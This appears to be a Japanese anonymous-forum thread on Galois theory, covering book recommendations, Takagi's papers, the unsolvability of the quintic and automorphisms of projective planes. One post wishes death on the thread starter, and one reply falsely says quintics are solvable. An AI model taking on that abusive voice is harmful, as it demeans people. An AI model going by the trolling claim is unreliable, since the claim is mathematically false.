>>920>>920>>920
お子さまだな
お子さまだな
お子さまだな

>>920>>920>>920
お子チャマだな
お子チャマだな
お子チャマだな

佐武「代数学への誘い」は読みにくいよな。
記述が天下り過ぎないか？ 良書じゃない。

お子チャマ向けに書いてないと良書じゃないというのか？

400

栄光なき天才たちに登場してたな。

今となっては十分栄光じゃね？

>>930
例えば誰の事？

>>932
栄光なき天才たちは、一昔前にヤンジャンで連載してた伝記漫画だよ

数学関係だとガロア、アーベルなんかが取り扱われてた。

453

>>1
「無意味なスレ立て厳禁」
って読めませんか？
そういうくだらない話は質問スレでやってください


　
　　　　　　　　　　　　　　　　　終　　　了


そして>>1はすぐ死ね

age

高木の論文：

Zur Theorie der relativ-Abel''schen Zahlkorper, I
Tokyo Sugaku-Buturigakkwai Kizi Dai 2 Ki, Vol. 8 (1915) No. 5 pp.154-162

Zur Theorie der komplexen Multiplikation der elliptischen Funktionen
Tokyo Sugaku-Buturigakkwai Kizi Dai 2 Ki, Vol. 8 (1916) No. 13 pp.386-393

Zur Theorie der relativ-Abel''schen Zahlkorper, II
Tokyo Sugaku-Buturigakkwai Kizi Dai 2 Ki, Vol. 8 (1915) No. 8 pp.243-254

が、
ttp://www.journalarchive.jst.go.jp/japanese/jnltop_ja.php?cdjournal=ptmps1907
で読めるようになっている。

>>935
無意味である事を証明して見よ

二年一時間。

age

もう少し線を整理しよう

876

ガロア理論を勉強するための，よい参考書は何ですか？
僕は位相幾何専攻で，ガロア理論は全く勉強したことがないのです・・・

age

日本テレビの天才の番組
ガロアに投票しようよ
http://www1.ntv.co.jp/ijin/form/index.html

ロットマンの本（の装丁）が新しくなったね

893

ガロア理論に最近興味を持って５次方程式の解の公式がない証明を読んでみたのですが、よくわかりません。
わかったようなわからないような気分がします。もっと勉強すると確実にわかった気になるものなんですか？

普通はわかるようになるもの。流れは

1. 解の公式がある <=> ガロア群が可解
2. 五次対象群は可解ではない
3. ある五次方程式のガロア群は五次対象群になる

の三つ。一つ一つ潰していけばわかるはず。

>>948
５次方程式の解の公式がない証明ならば、アーベルの論文がお勧め。
アーベルの論文＋解説付きの本でも探して見れば？

なお、たんに５次方程式と言うと後で突っ込まれるので注意ｗ

>>949,950
一応、群の発見という本を読んでいたんですが途中から急に論理を追いきれなくなって現在挫折中です。
ネットでガロア理論入門ノートというのを見つけたので今はそれで勉強しています。
わかってる人も結構いるみたいなので、もっと勉強してみます。

>>948
基本的に、5次方程式の解の公式がない元の証明（アーベル-ルフィニの定理）と
ガロア理論は別のものです。
行き先は同じでも登山道が違います。
アーベルの理論はガロア理論で置き換えられてしまうため
普通のガロア理論の本では、アーベルやルフィニの仕事を
ほとんど書かない事も多いです。
ガロア理論に納得いかないということであれば
数3方式ガロアの理論
http://books.yahoo.co.jp/book_detail/04932972
みたいに、代数方程式論や置換の計算をバリバリやる方向から
アーベル-ルフィニの定理に入ってみてはどうでしょうか？

age

>949
対象群 ⇒　対称群
仮名漢字変換を盲信しないように気をつけなはれ。

対象群
a group of pare elephants

Galois で検索したら
ftp://megrez.math.u-bordeaux.fr/pub/galois/
ftp://megrez.math.u-bordeaux.fr/pub/numberfields/
なんてのが見つかったけど、ここはどんなデータが入ってんの？
ファイルに拡張子が付いてないから開けません。

>>955
いったいなんなのかと思った。
いや、elephants のせいではない。pare のせいw

P^2(R) 実射影平面
P^2(R)からP^2(R)への連続とは限らない全単射で
直線の像は直線になるものは
射影変換である。

これは正しいですか。係数体を複素数体や有限体などの
一般の体に変えた時はどうなりますか。

↑さあkingやってみろ。

>>958
正しい。
複素数体では正しくない。

talk:>>959 私を呼んだだろう？

>>960
どうやって、証明するの?

>>962
デザルグ的射影平面では係数体は幾何学的に決定される。
実数体の自己同型は恒等写像のみであるのに対し、
複素数体の不連続自己同型は無限にあるから。

>>963

＞不連続自己同型
正確な意味を頼む。

不連続写像？、or 連続群に埋め込み不能と云う事？

>963
> 複素数体の不連続自己同型は無限にある
選択公理を仮定しないとそれは言えない。

>964
連続な自己同型は共役のみ。
選択公理を仮定すると、連続でない自己同型が構成できる。

>>965
例えば、構成の出発点は？

5次以上の代数方程式は可解でないことの証明をせよ。

可解だと思うよ。

>966
> 例えば、構成の出発点は？
(「こんなの、気の効いた代数の本なら載ってるがなぁ」とぼやきつつ）
選択公理を仮定すると、Q上代数独立な基底がCに取れる。
例えば、その基底の間のPermutationが(再び選択公理を仮定すると)Cの自己同型に拡張される。

>>958>>960>>963
別に不連続自己同型でなくて良かった。
自明でない自己同型（例えば複素共軛）なら何でも良い。 z の複素共軛を z~ と書くとして、
P^2(C) からそれ自身への全単射 (x ： y ： z) → (x~ ： y~ ： z~) が well-defined となる。
これは直線 ax + by + cz = 0 を直線 a~x + b~y + c~z = 0 に移す。
しかるに 4 つの点 (1, 0, 0), (0, 1, 0), (0, 0, 1), (1, 1, 1) を保つ変換は射影変換は恒等変換以外にないので、
上記の変換は直線を直線に写す全単射だが射影変換ではない。

実数体上の場合の証明はどうやるの。

>>971
理由（証明）はもう書いただろう。

age

佐藤超関数とSchwartz超関数の関係は

スレ違い

kingの独り言

・全体の形を考えるな、断面積だけ取り上げろ
・まず切れ、そして回せ
・ぶっこんで、かける導関数
・偶数乗には半角を
・接線では、まず接点をおくことからはじめよ
・一次関数の合成タイプでは、原始関数に叩き込んで係数でわれ
・エフとジーに三つの質問！次数、係数、得られる二解
・求まらない交点はαと置いて先へすすめ
・余りで分類
・公式のないΣは差分せよ
・部分積分の左辺に働きかけよ
・指でたどって置換する
・エフ、ジー、ジーダッシュ！いつもやるのはエフの積分！
・三個とって三倍ワクワク
・和がもとめられないΣでは、KをＸにすり替えたグラフをかいて面積比較
・ハサミウチは夾んでイク！
・単位ベクトルにしておいて、「作り替えたい長さ」倍
・一つの始点、二つの基底
・約数の拾い上げ
・範囲をしぼれ

talk:>>976 私を呼んでないか？

二年百七十日三時間。

ガロアはトポロジー知ってたの？

種数の概念は漠然とつかんで異端ジャマイカ

次スレ

はまだない

1000使いきってからでも遅くはない。

Qのアーベル拡大体がQ(ζ_n)に含まれる事ぐらいは自力で解けなきゃまずい

ガロア群が可解群ってどういうことですか？

f(X)=0が代数的に解ける条件を慎重に考えれば
自ずと可解群の定義に辿り着く

二年二百十日。

二年二百十一日。

二年二百十一日二十時間。

二年二百十二日二十時間。

ガロアの書いた論文では代数構造をどういう風に表していたんだろう

正規部分群の概念はガロアからなんだぜ。